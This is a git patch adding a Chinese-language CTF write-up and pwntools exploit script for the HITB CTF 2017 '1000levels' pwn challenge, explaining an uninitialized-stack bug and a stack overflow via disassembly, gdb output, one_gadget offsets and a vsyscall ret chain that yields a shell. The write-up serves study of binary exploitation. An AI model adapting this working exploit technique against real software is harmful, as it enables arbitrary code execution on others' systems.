From 9eb783da56179becb2f70e240ab77eb18f237628 Mon Sep 17 00:00:00 2001 From: firmianay Date: Sat, 21 Apr 2018 23:47:31 +0800 Subject: [PATCH] finish 6.1.16 --- doc/6.1.16_pwn_hitbctf2017_1000levels.md | 313 +++++++++++++----- .../6.1.16_pwn_hitbctf2017_1000levels/exp.py | 36 ++ 2 files changed, 273 insertions(+), 76 deletions(-) create mode 100644 src/writeup/6.1.16_pwn_hitbctf2017_1000levels/exp.py diff --git a/doc/6.1.16_pwn_hitbctf2017_1000levels.md b/doc/6.1.16_pwn_hitbctf2017_1000levels.md index c9d712f..4549819 100644 --- a/doc/6.1.16_pwn_hitbctf2017_1000levels.md +++ b/doc/6.1.16_pwn_hitbctf2017_1000levels.md @@ -84,7 +84,59 @@ Question: 3 * 1 = ? Answer: ## 题目解析 程序比较简单,基本上只有 Go 和 Hint 两个功能。 +#### hint +先来看 hint: +``` +[0x000009d0]> pdf @ sym.hint +/ (fcn) sym.hint 140 +| sym.hint (); +| ; var int local_110h @ rbp-0x110 +| ; CALL XREF from 0x00000fa6 (main) +| 0x00000cf0 push rbp +| 0x00000cf1 mov rbp, rsp +| 0x00000cf4 sub rsp, 0x110 ; 开辟栈空间 rsp - 0x110 +| 0x00000cfb mov rax, qword [reloc.system] ; [0x201fd0:8]=0 +| 0x00000d02 mov qword [local_110h], rax ; 将 system 地址放到栈顶 [local_110h] +| 0x00000d09 lea rax, obj.show_hint ; 0x20208c +| 0x00000d10 mov eax, dword [rax] ; 取出 show_hint +| 0x00000d12 test eax, eax +| ,=< 0x00000d14 je 0xd41 ; 当 show_hint 为 0 时 +| | 0x00000d16 mov rax, qword [local_110h] ; 否则继续 +| | 0x00000d1d lea rdx, [local_110h] +| | 0x00000d24 lea rcx, [rdx + 8] +| | 0x00000d28 mov rdx, rax +| | 0x00000d2b lea rsi, str.Hint:__p ; 0x111d ; "Hint: %p\n" +| | 0x00000d32 mov rdi, rcx +| | 0x00000d35 mov eax, 0 +| | 0x00000d3a call sym.imp.sprintf ; 将 system 地址复制到 [local_110h+0x8] +| ,==< 0x00000d3f jmp 0xd66 +| || ; JMP XREF from 0x00000d14 (sym.hint) +| |`-> 0x00000d41 lea rax, [local_110h] +| | 0x00000d48 add rax, 8 ; 将 "NO PWN NO FUN" 复制到 [local_110h+0x8] +| | 0x00000d4c movabs rsi, 0x4e204e5750204f4e +| | 0x00000d56 mov qword [rax], rsi +| | 0x00000d59 mov dword [rax + 8], 0x5546204f ; [0x5546204f:4]=-1 +| | 0x00000d60 mov word [rax + 0xc], 0x4e ; 'N' ; [0x4e:2]=0 +| | ; JMP XREF from 0x00000d3f (sym.hint) +| `--> 0x00000d66 lea rax, [local_110h] +| 0x00000d6d add rax, 8 +| 0x00000d71 mov rdi, rax +| 0x00000d74 call sym.imp.puts ; 打印出 [local_110h+0x8] +| 0x00000d79 nop +| 0x00000d7a leave +\ 0x00000d7b ret +[0x000009d0]> ir~system +vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system +[0x000009d0]> is~show_hint +051 0x0000208c 0x0020208c GLOBAL OBJECT 4 show_hint +``` +可以看到 `system()` 的地址被复制到栈上(`local_110h`),然后对全局变量 `show_hint` 进行判断,如果为 0,打印字符串 “NO PWN NO FUN”,否则打印 `system()` 的地址。 + +为了绕过 ASLR,我们需要信息泄漏,如果能够修改 `show_hint`,那我们就可以得到 `system()` 的地址。但是 `show_hint` 放在 `.bss` 段上,程序开启了 PIE,地址随机无法修改。 + + #### go +继续看 go: ``` [0x000009d0]> pdf @ sym.go / (fcn) sym.go 372 @@ -97,45 +149,45 @@ Question: 3 * 1 = ? Answer: | ; CALL XREF from 0x00000f9f (main) | 0x00000b7c push rbp | 0x00000b7d mov rbp, rsp -| 0x00000b80 sub rsp, 0x120 +| 0x00000b80 sub rsp, 0x120 ; 开辟栈空间 rsp - 0x120 | 0x00000b87 lea rdi, str.How_many_levels ; 0x1094 ; "How many levels?" | 0x00000b8e call sym.imp.puts ; int puts(const char *s) | 0x00000b93 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte) -| 0x00000b98 mov qword [local_120h], rax ; 将第一个数放进 local_120h +| 0x00000b98 mov qword [local_120h], rax ; 读入第一个数 num1 放到 [local_120h] | 0x00000b9f mov rax, qword [local_120h] | 0x00000ba6 test rax, rax -| ,=< 0x00000ba9 jg 0xbb9 +| ,=< 0x00000ba9 jg 0xbb9 ; num1 大于 0 时跳转 | | 0x00000bab lea rdi, str.Coward ; 0x10a5 ; "Coward" | | 0x00000bb2 call sym.imp.puts ; int puts(const char *s) | ,==< 0x00000bb7 jmp 0xbc7 | || ; JMP XREF from 0x00000ba9 (sym.go) | |`-> 0x00000bb9 mov rax, qword [local_120h] -| | 0x00000bc0 mov qword [local_110h], rax +| | 0x00000bc0 mov qword [local_110h], rax ; num1 放到 [local_110h] | | ; JMP XREF from 0x00000bb7 (sym.go) | `--> 0x00000bc7 lea rdi, str.Any_more ; 0x10ac ; "Any more?" | 0x00000bce call sym.imp.puts ; int puts(const char *s) | 0x00000bd3 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte) -| 0x00000bd8 mov qword [local_120h], rax +| 0x00000bd8 mov qword [local_120h], rax ; 读入第二个数 num2 到 [local_120h] | 0x00000bdf mov rdx, qword [local_110h] | 0x00000be6 mov rax, qword [local_120h] -| 0x00000bed add rax, rdx ; '(' +| 0x00000bed add rax, rdx ; 两个数的和 num3 = num1 + num2 | 0x00000bf0 mov qword [local_110h], rax | 0x00000bf7 mov rax, qword [local_110h] | 0x00000bfe test rax, rax -| ,=< 0x00000c01 jg 0xc14 +| ,=< 0x00000c01 jg 0xc14 ; num3 大于 0 时跳转 | | 0x00000c03 lea rdi, str.Coward ; 0x10a5 ; "Coward" | | 0x00000c0a call sym.imp.puts ; int puts(const char *s) | ,==< 0x00000c0f jmp 0xcee | |`-> 0x00000c14 mov rax, qword [local_110h] -| | 0x00000c1b cmp rax, 0x3e7 -| |,=< 0x00000c21 jle 0xc3c +| | 0x00000c1b cmp rax, 0x3e7 ; num3 与 999 比较 +| |,=< 0x00000c21 jle 0xc3c ; num3 小于等于 999 时 | || 0x00000c23 lea rdi, str.More_levels_than_before ; 0x10b6 ; "More levels than before!" | || 0x00000c2a call sym.imp.puts ; int puts(const char *s) -| || 0x00000c2f mov qword [local_108h], 0x3e8 +| || 0x00000c2f mov qword [local_108h], 0x3e8 ; 将 num3 设为最大值 1000 | ,===< 0x00000c3a jmp 0xc4a | ||| ; JMP XREF from 0x00000c21 (sym.go) | ||`-> 0x00000c3c mov rax, qword [local_110h] -| || 0x00000c43 mov qword [local_108h], rax +| || 0x00000c43 mov qword [local_108h], rax ; 把 num3 放到 [local_108h] | || ; JMP XREF from 0x00000c3a (sym.go) | `---> 0x00000c4a lea rdi, str.Let_s_go ; 0x10cf ; "Let's go!'" | | 0x00000c51 call sym.imp.puts ; int puts(const char *s) @@ -143,13 +195,13 @@ Question: 3 * 1 = ? Answer: | | 0x00000c5b call sym.imp.time ; time_t time(time_t *timer) | | 0x00000c60 mov dword [local_118h], eax | | 0x00000c66 mov rax, qword [local_108h] -| | 0x00000c6d mov edi, eax +| | 0x00000c6d mov edi, eax ; rdi = num3 | | 0x00000c6f call sym.level_int ; 进入计算题游戏 | | 0x00000c74 test eax, eax | | 0x00000c76 setne al | | 0x00000c79 test al, al -| |,=< 0x00000c7b je 0xcd8 -| || 0x00000c7d mov edi, 0 +| |,=< 0x00000c7b je 0xcd8 ; 返回值为 0 时跳转,游戏失败 +| || 0x00000c7d mov edi, 0 ; 否则游戏成功 | || 0x00000c82 call sym.imp.time ; time_t time(time_t *timer) | || 0x00000c87 mov dword [local_114h], eax | || 0x00000c8d mov edx, dword [local_114h] @@ -178,8 +230,11 @@ Question: 3 * 1 = ? Answer: | `--> 0x00000cee leave \ 0x00000cef ret ``` +可以看到第一个数 num1 被读到 `local_120h`,如果大于 0,num1 被复制到 `local_110h`,然后读取第二个数 num2 到 `local_120h`,将两个数相加再存到 `local_110h`。但是如果 num1 小于等于 0,程序会直接执行读取 num2 到 `local_120h` 的操作,然后读取 `local_110h` 的数值作为 num1,将两数相加。整个过程都没有对 `local_110h` 进行初始化,程序似乎默认了 `local_110h` 的值是 0,然而事实并非如此。回想一下 hint 操作,放置 system 的地址正是 `local_110h`(两个函数的rbp相同)。这是一个内存未初始化造成的漏洞。 -计算题游戏的函数 `sym.level_int()` 如下: +接下来,根据两数相加的和,程序有三条路径,如果和小于 0,程序返回到开始菜单;如果和大于 0 且小于 1000,进入游戏;如果和大于 1000,则将其设置为最大值 1000,进入游戏。 + +然后来看游戏函数 `sym.level_int()`: ``` [0x000009d0]> pdf @ sym.level_int / (fcn) sym.level_int 289 @@ -198,26 +253,26 @@ Question: 3 * 1 = ? Answer: | 0x00000e2d push rbp | 0x00000e2e mov rbp, rsp | 0x00000e31 sub rsp, 0x40 ; '@' -| 0x00000e35 mov dword [local_34h], edi +| 0x00000e35 mov dword [local_34h], edi ; 将 level 存到 [local_34h] | 0x00000e38 mov qword [local_30h], 0 | 0x00000e40 mov qword [local_28h], 0 | 0x00000e48 mov qword [local_20h], 0 | 0x00000e50 mov qword [local_18h], 0 | 0x00000e58 cmp dword [local_34h], 0 -| ,=< 0x00000e5c jne 0xe68 +| ,=< 0x00000e5c jne 0xe68 ; level 不等于 0 时继续 | | 0x00000e5e mov eax, 1 -| ,==< 0x00000e63 jmp 0xf4c +| ,==< 0x00000e63 jmp 0xf4c ; 否则函数返回 1 | || ; JMP XREF from 0x00000e5c (sym.level_int) | |`-> 0x00000e68 mov eax, dword [local_34h] -| | 0x00000e6b sub eax, 1 +| | 0x00000e6b sub eax, 1 ; level = level - 1 | | 0x00000e6e mov edi, eax -| | 0x00000e70 call sym.level_int +| | 0x00000e70 call sym.level_int ; 递归调用游戏函数 | | 0x00000e75 test eax, eax | | 0x00000e77 sete al | | 0x00000e7a test al, al -| |,=< 0x00000e7c je 0xe88 +| |,=< 0x00000e7c je 0xe88 ; 返回值为 1 时继续 | || 0x00000e7e mov eax, 0 -| ,===< 0x00000e83 jmp 0xf4c +| ,===< 0x00000e83 jmp 0xf4c ; 否则函数结束返回 0 | ||| ; JMP XREF from 0x00000e7c (sym.level_int) | ||`-> 0x00000e88 call sym.imp.rand ; int rand(void) | || 0x00000e8d cdq @@ -229,7 +284,7 @@ Question: 3 * 1 = ? Answer: | || 0x00000e9d mov dword [local_ch], edx | || 0x00000ea0 mov eax, dword [local_8h] | || 0x00000ea3 imul eax, dword [local_ch] -| || 0x00000ea7 mov dword [local_10h], eax +| || 0x00000ea7 mov dword [local_10h], eax ; 将正确答案放到 [local_10h] | || 0x00000eaa lea rdi, str. ; 0x1160 ; "====================================================" | || 0x00000eb1 call sym.imp.puts ; int puts(const char *s) | || 0x00000eb6 mov eax, dword [local_34h] @@ -243,22 +298,22 @@ Question: 3 * 1 = ? Answer: | || 0x00000ed4 lea rdi, str.Question:__d____d_____Answer: ; 0x119f ; "Question: %d * %d = ? Answer:" | || 0x00000edb mov eax, 0 | || 0x00000ee0 call sym.imp.printf ; int printf(const char *format) -| || 0x00000ee5 lea rax, [local_30h] +| || 0x00000ee5 lea rax, [local_30h] ; 读取输入到 [local_30h] | || 0x00000ee9 mov edx, 0x400 | || 0x00000eee mov rsi, rax | || 0x00000ef1 mov edi, 0 -| || 0x00000ef6 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) -| || 0x00000efb mov dword [local_4h], eax +| || 0x00000ef6 call sym.imp.read ; read(0, local_30h, 0x400) +| || 0x00000efb mov dword [local_4h], eax ; 返回值放到 [local_4h],即读取字节数 | || ; JMP XREF from 0x00000f16 (sym.level_int) | ||.-> 0x00000efe mov eax, dword [local_4h] -| ||: 0x00000f01 and eax, 7 +| ||: 0x00000f01 and eax, 7 ; 取出低 3 位 | ||: 0x00000f04 test eax, eax -| ,====< 0x00000f06 je 0xf18 +| ,====< 0x00000f06 je 0xf18 ; 为 0 时跳转,即 8 的倍数 | |||: 0x00000f08 mov eax, dword [local_4h] | |||: 0x00000f0b cdqe -| |||: 0x00000f0d mov byte [rbp + rax - 0x30], 0 +| |||: 0x00000f0d mov byte [rbp + rax - 0x30], 0 ; 在字符串末尾加上 0 | |||: 0x00000f12 add dword [local_4h], 1 -| |||`=< 0x00000f16 jmp 0xefe +| |||`=< 0x00000f16 jmp 0xefe ; 循环 | ||| ; JMP XREF from 0x00000f06 (sym.level_int) | `----> 0x00000f18 lea rax, [local_30h] | || 0x00000f1c mov edx, 0xa @@ -268,12 +323,12 @@ Question: 3 * 1 = ? Answer: | || 0x00000f2e mov rdx, rax | || 0x00000f31 mov eax, dword [local_10h] | || 0x00000f34 cdqe -| || 0x00000f36 cmp rdx, rax -| || 0x00000f39 sete al +| || 0x00000f36 cmp rdx, rax ; 将输入答案与正确答案相比较 +| || 0x00000f39 sete al ; 相等时设置 al 为 1 | || 0x00000f3c test al, al -| ||,=< 0x00000f3e je 0xf47 +| ||,=< 0x00000f3e je 0xf47 ; 返回值为 0 | ||| 0x00000f40 mov eax, 1 -| ,====< 0x00000f45 jmp 0xf4c +| ,====< 0x00000f45 jmp 0xf4c ; 返回值为 1 | |||| ; JMP XREF from 0x00000f3e (sym.level_int) | |||`-> 0x00000f47 mov eax, 0 | ||| ; JMP XREF from 0x00000f45 (sym.level_int) @@ -282,51 +337,157 @@ Question: 3 * 1 = ? Answer: | ```--> 0x00000f4c leave \ 0x00000f4d ret ``` - -#### hint -``` -[0x000009d0]> pdf @ sym.hint -/ (fcn) sym.hint 140 -| sym.hint (); -| ; var int local_110h @ rbp-0x110 -| ; CALL XREF from 0x00000fa6 (main) -| 0x00000cf0 push rbp -| 0x00000cf1 mov rbp, rsp -| 0x00000cf4 sub rsp, 0x110 -| 0x00000cfb mov rax, qword [reloc.system] ; [0x201fd0:8]=0 -| 0x00000d02 mov qword [local_110h], rax -| 0x00000d09 lea rax, obj.show_hint ; 0x20208c -| 0x00000d10 mov eax, dword [rax] -| 0x00000d12 test eax, eax -| ,=< 0x00000d14 je 0xd41 -| | 0x00000d16 mov rax, qword [local_110h] -| | 0x00000d1d lea rdx, [local_110h] -| | 0x00000d24 lea rcx, [rdx + 8] -| | 0x00000d28 mov rdx, rax -| | 0x00000d2b lea rsi, str.Hint:__p ; 0x111d ; "Hint: %p\n" -| | 0x00000d32 mov rdi, rcx -| | 0x00000d35 mov eax, 0 -| | 0x00000d3a call sym.imp.sprintf ; int sprintf(char *s, -| ,==< 0x00000d3f jmp 0xd66 -| || ; JMP XREF from 0x00000d14 (sym.hint) -| |`-> 0x00000d41 lea rax, [local_110h] -| | 0x00000d48 add rax, 8 -| | 0x00000d4c movabs rsi, 0x4e204e5750204f4e -| | 0x00000d56 mov qword [rax], rsi -| | 0x00000d59 mov dword [rax + 8], 0x5546204f ; [0x5546204f:4]=-1 -| | 0x00000d60 mov word [rax + 0xc], 0x4e ; 'N' ; [0x4e:2]=0 -| | ; JMP XREF from 0x00000d3f (sym.hint) -| `--> 0x00000d66 lea rax, [local_110h] -| 0x00000d6d add rax, 8 -| 0x00000d71 mov rdi, rax -| 0x00000d74 call sym.imp.puts ; int puts(const char *s) -| 0x00000d79 nop -| 0x00000d7a leave -\ 0x00000d7b ret -``` +可以看到 `read()` 函数有一个很明显的栈溢出漏洞,`local_30h` 并没有 `0x400` 这么大的空间。由于游戏是递归的,所以我们需要答对前 999 道题,在最后一题时溢出,构造 ROP。 ## Exploit +总结一下,程序存在两个漏洞: +- hint 函数将 system 放到栈上,而 go 函数在使用该地址时未进行初始化 +- level 函数存在栈溢出 + +关于利用的问题也有两个: +- 虽然 system 被放到了栈上,但我们不能设置其参数 +- 程序开启了 PIE,但没有可以进行信息泄漏的漏洞 + +对于第一个问题,我们有不需要参数的 one-gadget 可以用,通过将输入的第二个数设置为偏移,即可通过程序的计算将 system 修改为 one-gadget。 +``` +$ one_gadget libc.so.6 +0x45216 execve("/bin/sh", rsp+0x30, environ) +constraints: + rax == NULL + +0x4526a execve("/bin/sh", rsp+0x30, environ) +constraints: + [rsp+0x30] == NULL + +0xf0274 execve("/bin/sh", rsp+0x50, environ) +constraints: + [rsp+0x50] == NULL + +0xf1117 execve("/bin/sh", rsp+0x70, environ) +constraints: + [rsp+0x70] == NULL +``` +这里我们选择 `0x4526a` 地址上的 one-gadget。 + +第二个问题,在随机化的情况下怎么找到可用的 `ret` gadget?这时候可以利用 vsyscall,这是一个固定的地址。(参考章节4.15) +``` +gdb-peda$ vmmap vsyscall +Start End Perm Name +0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] +gdb-peda$ x/5i 0xffffffffff600000 + 0xffffffffff600000: mov rax,0x60 + 0xffffffffff600007: syscall + 0xffffffffff600009: ret + 0xffffffffff60000a: int3 + 0xffffffffff60000b: int3 +``` +但我们必须跳到 vsyscall 的开头,而不能直接跳到 ret,这是内核决定的。 + +最后一次的 payload 和调试结果如下: +``` +gdb-peda$ x/11gx 0x7fffffffec10-0x50 +0x7fffffffebc0: 0x4141414141414141 0x4141414141414141 <-- rbp -0x30 +0x7fffffffebd0: 0x4141414141414141 0x4141414141414141 +0x7fffffffebe0: 0x4141414141414141 0x4141414141414141 +0x7fffffffebf0: 0x4242424242424242 0xffffffffff600000 <-- rbp <-- ret +0x7fffffffec00: 0xffffffffff600000 0xffffffffff600000 <-- ret <-- ret +0x7fffffffec10: 0x00007ffff7a5226a <-- one-gadget +``` +``` +gdb-peda$ ni +[----------------------------------registers-----------------------------------] +RAX: 0x0 +RBX: 0x0 +RCX: 0xa ('\n') +RDX: 0x0 +RSI: 0x0 +RDI: 0x7fffffffebc0 ('A' , "P") +RBP: 0x4242424242424242 ('BBBBBBBB') +RSP: 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60) +RIP: 0x555555554f4d (<_Z5leveli+288>: ret) +R8 : 0x0 +R9 : 0x1999999999999999 +R10: 0x0 +R11: 0x7ffff7b845a0 --> 0x2000200020002 +R12: 0x5555555549d0 (<_start>: xor ebp,ebp) +R13: 0x7fffffffee40 --> 0x1 +R14: 0x0 +R15: 0x0 +EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x555555554f45 <_Z5leveli+280>: jmp 0x555555554f4c <_Z5leveli+287> + 0x555555554f47 <_Z5leveli+282>: mov eax,0x0 + 0x555555554f4c <_Z5leveli+287>: leave +=> 0x555555554f4d <_Z5leveli+288>: ret + 0x555555554f4e
: push rbp + 0x555555554f4f : mov rbp,rsp + 0x555555554f52 : sub rsp,0x30 + 0x555555554f56 : mov QWORD PTR [rbp-0x30],0x0 +[------------------------------------stack-------------------------------------] +0000| 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60) +0008| 0x7fffffffec00 --> 0xffffffffff600000 (mov rax,0x60) +0016| 0x7fffffffec08 --> 0xffffffffff600000 (mov rax,0x60) +0024| 0x7fffffffec10 --> 0x7ffff7a5226a (mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8) +0032| 0x7fffffffec18 --> 0x3e8 +0040| 0x7fffffffec20 --> 0x4e5546204f ('O FUN') +0048| 0x7fffffffec28 --> 0xff0000 +0056| 0x7fffffffec30 --> 0x0 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x0000555555554f4d in level(int) () +``` +三次 return 之后,就会跳到 one-gadget 上去。 + +Bingo!!! +``` +$ python exp.py +[+] Starting local process './1000levels': pid 6901 +[*] Switching to interactive mode +$ whoami +firmy +``` + +#### exp +完整的 exp 如下: +```python +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' +io = process(['./1000levels'], env={'LD_PRELOAD':'./libc.so.6'}) + +one_gadget = 0x4526a +system_offset = 0x45390 +ret_addr = 0xffffffffff600000 + +def go(levels, more): + io.sendlineafter("Choice:\n", '1') + io.sendlineafter("levels?\n", str(levels)) + io.sendlineafter("more?\n", str(more)) + +def hint(): + io.sendlineafter("Choice:\n", '2') + +if __name__ == "__main__": + hint() + go(0, one_gadget - system_offset) + + for i in range(999): + io.recvuntil("Question: ") + a = int(io.recvuntil(" ")[:-1]) + io.recvuntil("* ") + b = int(io.recvuntil(" ")[:-1]) + io.sendlineafter("Answer:", str(a * b)) + + payload = 'A' * 0x30 # buffer + payload += 'B' * 0x8 # rbp + payload += p64(ret_addr) * 3 + io.sendafter("Answer:", payload) + + io.interactive() +``` ## 参考资料 diff --git a/src/writeup/6.1.16_pwn_hitbctf2017_1000levels/exp.py b/src/writeup/6.1.16_pwn_hitbctf2017_1000levels/exp.py new file mode 100644 index 0000000..17d78dc --- /dev/null +++ b/src/writeup/6.1.16_pwn_hitbctf2017_1000levels/exp.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' +io = process(['./1000levels'], env={'LD_PRELOAD':'./libc.so.6'}) + +one_gadget = 0x4526a +system_offset = 0x45390 +ret_addr = 0xffffffffff600000 + +def go(levels, more): + io.sendlineafter("Choice:\n", '1') + io.sendlineafter("levels?\n", str(levels)) + io.sendlineafter("more?\n", str(more)) + +def hint(): + io.sendlineafter("Choice:\n", '2') + +if __name__ == "__main__": + hint() + go(0, one_gadget - system_offset) + + for i in range(999): + io.recvuntil("Question: ") + a = int(io.recvuntil(" ")[:-1]) + io.recvuntil("* ") + b = int(io.recvuntil(" ")[:-1]) + io.sendlineafter("Answer:", str(a * b)) + + payload = 'A' * 0x30 # buffer + payload += 'B' * 0x8 # rbp + payload += p64(ret_addr) * 3 + io.sendafter("Answer:", payload) + + io.interactive()